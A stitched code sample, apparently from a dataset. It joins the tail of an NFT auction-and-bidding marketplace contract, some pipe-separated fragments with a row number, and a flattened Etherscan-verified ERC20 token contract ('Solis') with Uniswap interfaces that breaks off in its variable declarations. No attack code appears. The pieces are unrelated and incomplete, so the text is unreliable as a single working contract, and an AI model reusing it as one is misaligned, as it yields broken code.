mapping(uint256 => AuctionInfo) public auctions; //auctions[id]
uint256[] public onAuctions;
mapping(uint256 => uint256) public onAuctionsIndex;
mapping(address => ArtInfo[]) public userAuctionInfo; //userAuctionInfo[seller]
mapping(uint256 => uint256) private userAuctionIndex; //userAuctionIndex[id]
function onAuctionsCount() public view returns (uint256) {
return onAuctions.length;
}
function userAuctionInfoLength(address seller) public view returns (uint256) {
return userAuctionInfo[seller].length;
}
function checkAuction(uint256 id) public view returns (bool) {
return auctions[id].seller != address(0);
}
function createAuction(
uint256 id,
uint256 startPrice,
uint256 endBlock
) external userWhitelist(msg.sender) {
require(arts.ownerOf(id) == msg.sender);
require(!arts.isBanned(id));
require(endBlock > block.number);
require(!checkSelling(id));
arts.transferFrom(msg.sender, address(this), id);
auctions[id] = AuctionInfo({seller: msg.sender, startPrice: startPrice, endBlock: endBlock});
onAuctionsIndex[id] = onAuctions.length;
onAuctions.push(id);
uint256 lastIndex = userAuctionInfoLength(msg.sender);
userAuctionInfo[msg.sender].push(ArtInfo({id: id, price: startPrice}));
userAuctionIndex[id] = lastIndex;
emit CreateAuction(id, msg.sender, startPrice, endBlock);
}
function removeUserAuction(
address seller,
uint256 id
) internal {
uint256 lastAuctionIndex = userAuctionInfoLength(seller).sub(1);
uint256 sellIndex = userAuctionIndex[id];
if (sellIndex != lastAuctionIndex) {
ArtInfo memory lastAuctionInfo = userAuctionInfo[seller][lastAuctionIndex];
userAuctionInfo[seller][sellIndex] = lastAuctionInfo;
userAuctionIndex[lastAuctionInfo.id] = sellIndex;
}
userAuctionInfo[seller].length--;
delete userAuctionIndex[id];
}
function cancelAuction(uint256 id) external {
require(biddings[id].length == 0);
address seller = auctions[id].seller;
require(seller == msg.sender);
arts.transferFrom(address(this), seller, id);
removeAuction(id);
removeUserAuction(seller, id);
emit CancelAuction(id, msg.sender);
}
struct Bidding {
address bidder;
uint256 price;
uint256 mileage;
}
mapping(uint256 => Bidding[]) public biddings; //bidding[id]
mapping(address => ArtInfo[]) public userBiddingInfo; //userBiddingInfo[seller]
mapping(uint256 => uint256) private userBiddingIndex; //userBiddingIndex[id]
function userBiddingInfoLength(address bidder) public view returns (uint256) {
return userBiddingInfo[bidder].length;
}
function biddingCount(uint256 id) external view returns (uint256) {
return biddings[id].length;
}
function bid(
uint256 id,
uint256 price,
uint256 _mileage
) external userWhitelist(msg.sender) returns (uint256 biddingId) {
require(!arts.isBanned(id));
AuctionInfo storage _auction = auctions[id];
uint256 endBlock = _auction.endBlock;
address seller = _auction.seller;
require(seller != address(0) && seller != msg.sender && block.number < endBlock);
Bidding[] storage bs = biddings[id];
biddingId = bs.length;
if (biddingId == 0) {
require(_auction.startPrice <= price);
} else {
Bidding memory bestBidding = bs[biddingId - 1];
require(bestBidding.price < price);
mix.transfer(bestBidding.bidder, bestBidding.price.sub(bestBidding.mileage));
if(bestBidding.mileage > 0) {
mix.approve(address(mileage), bestBidding.mileage);
mileage.charge(bestBidding.bidder, bestBidding.mileage);
}
removeUserBidding(bestBidding.bidder, id);
}
bs.push(Bidding({bidder: msg.sender, price: price, mileage: _mileage}));
mix.transferFrom(msg.sender, address(this), price.sub(_mileage));
if(_mileage > 0) mileage.use(msg.sender, _mileage);
uint256 lastIndex = userBiddingInfoLength(msg.sender);
userBiddingInfo[msg.sender].push(ArtInfo({id: id, price: price}));
userBiddingIndex[id] = lastIndex;
if(block.number >= endBlock.sub(auctionExtensionInterval)) {
_auction.endBlock = endBlock.add(auctionExtensionInterval);
}
emit Bid(id, msg.sender, price);
}
function removeUserBidding(
address bidder,
uint256 id
) internal {
uint256 lastBiddingIndex = userBiddingInfoLength(bidder).sub(1);
uint256 sellIndex = userBiddingIndex[id];
if (sellIndex != lastBiddingIndex) {
ArtInfo memory lastBiddingInfo = userBiddingInfo[bidder][lastBiddingIndex];
userBiddingInfo[bidder][sellIndex] = lastBiddingInfo;
userBiddingIndex[lastBiddingInfo.id] = sellIndex;
}
userBiddingInfo[bidder].length--;
delete userBiddingIndex[id];
}
function claim(uint256 id) external {
AuctionInfo memory _auction = auctions[id];
Bidding[] memory bs = biddings[id];
Bidding memory bidding = bs[bs.length.sub(1)];
require(block.number >= _auction.endBlock);
arts.safeTransferFrom(address(this), bidding.bidder, id);
distributeReward(id, bidding.bidder, _auction.seller, bidding.price);
removeUserAuction(_auction.seller, id);
removeUserBidding(bidding.bidder, id);
emit Claim(id, bidding.bidder, bidding.price);
}
//"cancel" functions with ownership
function cancelSaleByOwner(uint256[] calldata ids) external onlyOwner {
for (uint256 i = 0; i < ids.length; i++) {
address seller = sales[ids[i]].seller;
removeSale(ids[i]);
removeUserSell(seller, ids[i]);
emit CancelSale(ids[i], seller);
emit CancelSaleByOwner(ids[i]);
}
}
function cancelOfferByOwner(
uint256[] calldata ids,
uint256[] calldata offerIds
) external onlyOwner {
require(ids.length == offerIds.length);
for (uint256 i = 0; i < ids.length; i++) {
OfferInfo[] storage os = offers[ids[i]];
OfferInfo memory _offer = os[offerIds[i]];
delete os[offerIds[i]];
removeUserOffer(_offer.offeror, ids[i]);
mix.transfer(_offer.offeror, _offer.price.sub(_offer.mileage));
if(_offer.mileage > 0) {
mix.approve(address(mileage), _offer.mileage);
mileage.charge(_offer.offeror, _offer.mileage);
}
emit CancelOffer(ids[i], offerIds[i], _offer.offeror);
emit CancelOfferByOwner(ids[i], offerIds[i]);
}
}
function cancelAuctionByOwner(uint256[] calldata ids) external onlyOwner {
for (uint256 i = 0; i < ids.length; i++) {
AuctionInfo memory _auction = auctions[ids[i]];
Bidding[] memory bs = biddings[ids[i]];
if (bs.length > 0) {
Bidding memory bestBidding = bs[bs.length - 1];
mix.transfer(bestBidding.bidder, bestBidding.price.sub(bestBidding.mileage));
if(bestBidding.mileage > 0) {
mix.approve(address(mileage), bestBidding.mileage);
mileage.charge(bestBidding.bidder, bestBidding.mileage);
}
removeUserBidding(bestBidding.bidder, ids[i]);
delete biddings[ids[i]];
}
arts.transferFrom(address(this), _auction.seller, ids[i]);
removeAuction(ids[i]);
removeUserAuction(_auction.seller, ids[i]);
emit CancelAuction(ids[i], _auction.seller);
emit CancelAuctionByOwner(ids[i]);
}
}
}
|
bytes4(keccak256('totalSupply()')) == 0x18160ddd bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63/* @dev Constructor function./ register the supported interface to conform to KIP17Enumerable via KIP13
|
constructor () public {
_registerInterface(_INTERFACE_ID_KIP17_ENUMERABLE);
}
| 1,015,951
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/**
*Submitted for verification at Etherscan.io on 2022-03-29
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
////// lib/openzeppelin-contracts/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
////// lib/openzeppelin-contracts/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
/* pragma solidity ^0.8.0; */
/* import "../utils/Context.sol"; */
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
/* pragma solidity ^0.8.0; */
/* import "../IERC20.sol"; */
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
/* pragma solidity ^0.8.0; */
/* import "./IERC20.sol"; */
/* import "./extensions/IERC20Metadata.sol"; */
/* import "../../utils/Context.sol"; */
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
/* pragma solidity ^0.8.0; */
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
////// src/IUniswapV2Factory.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
////// src/IUniswapV2Pair.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
////// src/IUniswapV2Router02.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
////// src/MarshallRoganInu.sol
/* pragma solidity >=0.8.10; */
/* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */
/* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */
/* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */
/* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */
/* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */
/* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */
contract Solis is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public buyBurnFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public sellBurnFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 public tokensForBurn;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
